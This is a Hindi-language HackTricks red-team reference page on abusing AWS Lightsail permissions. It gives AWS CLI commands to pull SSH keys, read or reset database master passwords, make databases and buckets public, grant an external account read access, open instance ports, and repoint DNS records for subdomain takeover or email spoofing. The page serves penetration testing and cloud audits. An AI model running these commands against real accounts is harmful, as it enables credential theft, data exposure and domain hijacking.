AWS - Lightsail Privesc
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Lightsail
Lightsail के बारे में अधिक जानकारी के लिए देखें:
warning
यह ध्यान रखना महत्वपूर्ण है कि Lightsail उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग प्रिवेस्क के लिए नहीं कर सकते। हालाँकि, संवेदनशील डेटा जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है।
lightsail:DownloadDefaultKeyPair
यह अनुमति आपको उदाहरणों तक पहुँचने के लिए SSH कुंजी प्राप्त करने की अनुमति देगी:
aws lightsail download-default-key-pair
संभावित प्रभाव: इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।
lightsail:GetInstanceAccessDetails
यह अनुमति आपको इंस्टेंस तक पहुँचने के लिए SSH कुंजी उत्पन्न करने की अनुमति देगी:
aws lightsail get-instance-access-details --instance-name <instance_name>
संभावित प्रभाव: इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।
lightsail:CreateBucketAccessKey
यह अनुमति आपको बकेट तक पहुँचने के लिए एक कुंजी प्राप्त करने की अनुमति देगी:
aws lightsail create-bucket-access-key --bucket-name <name>
संभावित प्रभाव: बकेट के अंदर संवेदनशील जानकारी खोजें।
lightsail:GetRelationalDatabaseMasterUserPassword
यह अनुमति आपको डेटाबेस तक पहुँचने के लिए क्रेडेंशियल प्राप्त करने की अनुमति देगी:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
lightsail:UpdateRelationalDatabase
यह अनुमति आपको डेटाबेस तक पहुँचने के लिए पासवर्ड बदलने की अनुमति देगी:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
यदि डेटाबेस सार्वजनिक नहीं है, तो आप इन अनुमतियों के साथ इसे सार्वजनिक भी बना सकते हैं।
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
lightsail:OpenInstancePublicPorts
यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है।
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
संभावित प्रभाव: संवेदनशील पोर्ट्स तक पहुँच।
lightsail:PutInstancePublicPorts
यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है। ध्यान दें कि कॉल किसी भी पोर्ट को बंद कर देगी जो इसमें निर्दिष्ट नहीं है।
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
संभावित प्रभाव: संवेदनशील पोर्ट्स तक पहुँच।
lightsail:SetResourceAccessForBucket
यह अनुमति एक इंस्टेंस को बिना किसी अतिरिक्त क्रेडेंशियल के एक बकेट तक पहुँच देने की अनुमति देती है।
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
संभावित प्रभाव: संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।
lightsail:UpdateBucket
इस अनुमति के साथ एक हमलावर अपने AWS खाते को बकेट्स पर पढ़ने की पहुंच दे सकता है या यहां तक कि बकेट्स को सभी के लिए सार्वजनिक बना सकता है:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
संभावित प्रभाव: संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।
lightsail:UpdateContainerService
इन अनुमतियों के साथ, एक हमलावर कंटेनर सेवा से निजी ECRs तक पहुंच प्रदान कर सकता है।
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
संभावित प्रभाव: निजी ECR से संवेदनशील जानकारी प्राप्त करें
lightsail:CreateDomainEntry
इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
संभावित प्रभाव: एक डोमेन का अधिग्रहण
lightsail:UpdateDomainEntry
इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
संभावित प्रभाव: एक डोमेन का अधिग्रहण